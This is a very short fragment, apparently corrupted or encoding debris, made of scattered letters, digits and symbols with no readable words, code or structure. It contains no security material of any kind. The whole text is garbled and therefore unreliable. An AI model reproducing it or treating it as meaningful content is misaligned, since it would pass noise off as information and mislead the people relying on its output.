0 v, s& f  @3 D+ T" ]7 f2 _